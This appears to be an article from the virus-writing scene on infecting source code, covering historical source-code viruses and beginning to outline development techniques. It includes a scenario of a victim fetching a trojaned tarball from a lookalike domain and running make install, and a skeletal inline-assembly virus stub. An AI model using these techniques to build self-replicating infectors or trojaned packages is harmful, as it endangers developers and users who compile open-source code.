Join us now and share the malware...
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Reflections  about the  Open Source  and Free  Software community  and
their blind believe in the goodness of the source code.

by zert <zert@int80h.net>

0.- Abstract
1.- Introduction
2.- Precedents
    2.1.- DOS viruses, Urphin
    2.2.- 1994, SrcVir virus family and Die-Hard virus
    2.3.- Compiler libraries' infectors
    2.4.- Any scripting language virus code
3.- Why try to infect source code?
4.- OK, but... how?
    4.1.- Typical scenario
    4.2.- ASM inline approach
    4.3.- "Quine" approach
    4.4.- Future developments
5.- Conclusions
6.- Related links


0.- Abstract

In this  article we'll  talk about  the possibilities  of infection of
source code files, the precedents  that have been in this  subject and
the future developments that could happen.

The text will be enclosed with  examples in C, as "proofs of  concept"
of the  explained details.  Besides, virus  development techniques for
source  code  through  other  ways  will  be  presented,  from  a less
practical  point  of  view  and   showing  the  main  steps  for   its
programming.


1.- Introduction

As the Free Software Foundation  famous song [1] says, nowadays  a lot
of people  are joining  the Free  Software movement  or other variants
(more  commercial) as  the Open  Source movement.  The title  of this
article wants to wink  at this song's chorus  ("Join us now and  share
the software, you'll  be free, hackers,  you'll be free..."),  showing
the  possibility of  this distribution  capacity which  has taken  the
source code in these kind of  environments, could be used in order  to
hand out again viral code.

Many of  us are  starting to  develop an  almost blind  faith in those
developers of  open source  programs because  the code  is visible, it
will  be much  more difficult  to be  cheated and  the possibility  to
insert not wanted effects into  these programs will be reduced.  If we
think about it, when we go to  a magic show, many of the magic  tricks
need a curtain, a wall or  something to hide how we are  being fooled,
but  there are  many other  tricks that  are made  face in  our face,
without using anything else but the hands and, even like this, we fall
and we believe them. Something  similar could happen with open  source
programs: the  code is  there and  everybody can  see and  examine it,
however, only a very few do it (who has audited the *whole* code which
is running through his box?).  And, besides, it would be  occasionally
possible  to  obfuscate  the  code  to  make  highly  difficult  to be
understood and to be able to insert hidden elements, not wanted by the
user of that code.

Source code viruses never have been a real threat, basically  because,
until near today, to interchange programs distributing the source code
was something very unusual outside a too geek environment. The viruses
have  had  their  natural  habitat  within  the  executable  programs,
typically binaries, that have been distributed hand by hand during all
these  years.  Although P2P  networks  have returned  to  relaunch the
massive interchange of binaries, it seems to be that this approach  is
going progressively  down and  than what  rules right  now is to think
about  an  approach  of  the  type  virus  +  worm,  using   different
workstations or servers like infection vectors.

Nowadays,  interchanging  programs  using  the  source  code  is   not
something of computer freaks. In  the world of Free Software  and Open
Source, this is  the most common  way to distribute  the code. Usually
the code is audited at least  by the author of itself, although  there
are a lot  of myths about  this. Anyway, some  cases have happened  in
which the official FTP server has been cracked and the original source
of  the  code  has  been  changed  [3]  [4].  In  those  occasions the
introduced code was very obvious, but a more subtle attack could  have
been tried.

I  don't  know whether  in  a further  P2P  networks will  be  full of
tarballs with the source code of a lot of programs or whether auditing
the source code will be an automatizable task (where it would appear a
new  battle  scene  between auditors  and  malware  writers), but  the
verifiable fact is that in this very moment the interchange of  source
code is increasing and, because of it, it is necessary to analyse  the
convenience of its use as infection vector.


2.- Precedents

Up to now, a few and shy infectors have been developed with the target
of infecting the source code. We are going to explain the reasons: the
source code has not been  a goog infection method until  the irruption
of the "open source revolution" on the curren scene.


2.1. DOS viruses, Urphin

In  the distant  pass age  of DOS  viruses, Urphin  virus [5]  already
thought of infecting  source code as  a spread method.  This behaviour
was  not strange  at all:  once came  out, it  remained resident  (31h
service of int 21h), waiting for the execution of the program  TPC.EXE
(Turbo Pascal Compiler) and it was at that moment when it  intercepted
the  .PAS files  which contain  the source  code of  the programs  in
Pascal.

Once  found the  .PAS file,  it looked  for the  word "BEGIN",  which
indicates the  beginning of  a code  block in  Pascal, an  it added  a
hexadecimal dump of its  code together with the  code in Pascal to  be
executed. When the  file was closed,  the virus eliminated  the source
code just  inserted in  order to  make clean  the infected source code
after having generated the executable binary.


2.2.- 1994, SrcVir virus family and Die-Hard virus

In many  web pages  in which  the history  of computer  [6] viruses is
explained, SrcVirus family is mentioned. It appeared in 1994  together
with a stream of new viruses with strange targets and behaviours up to
that date. The aim  of this virus family  was mainly to infect  source
code files written in  C and Pascal, in  similar way to the  mentioned
Urphin.

The same  year, it  was programmed  and released  another virus  which
infected the source code, the Die-Hard virus [7]. This virus is  quite
standard (COM  and EXE  infector in  DOS), except  for one feature: it
looks  for  .ASM  and  .PAS files,  assembly  and  Pascal  source code
respectively, in order to add a dump of its code.


2.3.- Compiler libraries' infectors

There are viruses which have the target of infecting OBJ and LIB files
[8] in order to add its code to modules or libraries that will be used
afterwards to be  linked with executable  code. The infected  files in
this way would  act just as  "carriers", waiting for  am executable to
link with these modules or libraries and to go on spreading the virus.
In this  way, the  executable files  would not  infect the  executable
files their self, so  that it wouldn't be  the risk of self  infection
and it  should not  be observed  in the  virus code,  and the infected
files  are  useless until  its  code is  included  into a  executable,
remaining in a "latent" state until that happens.


2.4.- Any scripting language virus code  

Obviously, any viruses  which is written  in a scripting  language and
which has the target of  infecting other scripts, will be  an infector
which copies  its source  code in  the guest  file. There  are several
approaches to this kind of virus in Perl or Shell Scripts [9] [10] and
countless  Internet worms  written in  Visual Basic  Script and  other
kinds of scripting languages.


3.- Why try to infect source code?

As we have  mentioned before, it's  possible to be  an expanding field
and several factors prove it:

* The  increasing interest  about Operating  Systems as  GNU/Linux and
*BSD generates an users community whose main value is the source  code
and this one is user as change  coin. Some of these new users are  far
away from the  original idea of  a UNIX hacker,  and they become  less
technical (using the computer as a quite modern washing machine).

* The  growing interest  of Governments  and Public  entities in using
open source software in order to increase its security. Open source is
not  itself (inherently)  more secure  than close  source software  if
appropriate measures  are not  taken. There  are a  lot of myths about
this [2], apart from many attempts from Microsoft in order to  deceive
the consumer with half the truth [13].

* Some  program demand  to be  compiled in  each computer  separately,
either because it is free software that links with property  libraries
or codecs,  or because  it can  be an  enormous difference between the
generic  version  for  i386  and this  one  compiled  in  the specific
computer.  This  fact  demands  a  development  environment  in   more
computers.  The  paradigmatic  example of  this  case  is the  Mplayer
multimedia player.


4.- OK, but... how?

4.1.- Typical scenario

Bob is a young sysadmin fascinated by wireless networks. His knowledge
about  computer  networks  are  advanced, but  he  has  no  idea about
programming further a few simple shell scripts.

At a very  enjoyable wardriving evening,  when he and  his friend Dave
are listening to  Massive Attack and  pursue among routers  of a local
company, Bob is astonished of the great program that Dave has to  scan
wireless networks. Eager, he asks  him the URL to download  it without
further delay:

wget http://packetstormsecurify.nl/sniffers/wireless/wlanthrax-0.6.9.tar.gz
tar xzf wlanthrax-0.6.9.tar.gz
cd wlanthrax-0.6.9
./configure
make
make install

(advisory: http://packetstormsecurify.nl doesn't exist but it could be
bought in a reasonable price. Any resemblance with the coincidence, is
real truth)

Yeah! The program is working and the networks are surrending as scared
rats, tons of adrenaline! like in the old times! What poor Bob doesn't
know is that this tarball contained malware and now he has it  running
through the digital veins of his laptop.

The same thing had happened to Bob before, and from that time he never
do this as root user. Obviously, "make install" command wouldn't  ever
work as a normal user, but  the tool would go on being  executable and
usable. Clever boy, but even from a normal user account, we could  try
to  infect  the  whole  source  code  that  we  can  reach  with those
privileges, which can be enough.

Do you think this situation is improbable? How many times have we done
tar xzf && ./configure && make  && make install blindly? I admit  that
sometimes I've installed software in that way O;-D


4.2.- ASM inline approach

Every virus coder knows reverse engineering tools which provide a high
quality  disassemblies.  Quickly  come   to  my  mind  names   as  IDA
disassembler or even the disassembly view mode of HIEW (Hackers View).
The port for UNIX of HIEW, BIEW (which is really his "small  brother")
also supports the  disassembly view and  we can see  easily the source
code in assembler of any program.

An ASM inline approach to infect source files should implement a small
disassembler of its own code, to  be able to include it in  the source
code file. If we take as a reference the source code written in C used
in GNU/Linux, we should create  a disassembler for our code  with AT&T
syntax, and include this code in a function:

int virus()
{
  __asm__(
  	"pusha\n\t"
	"call 0x8048086\n\t"
	[...]
	"mov $0x1,%%eax\n\t"
	"int $0x80"
  );
}

To obtain that disassembly we can use the Free Software philosophy and
get the code that  does that work in  BIEW or objdump tools.  The main
problem of doing in that way is that the disassembler would take up  a
very important part of our virus code, so we can discard this and  try
to call that tools directly: if our aim is to infect the source  code,
we can suppose that the infected computer is a development workstation
which can have  those tools installed.  Using the syscall  "execve" in
UNIX we could execute one of those tools and generate the printout  in
a son process. An optimised version of this point of view would  check
whether there are some of the most common tools which could make  this
job.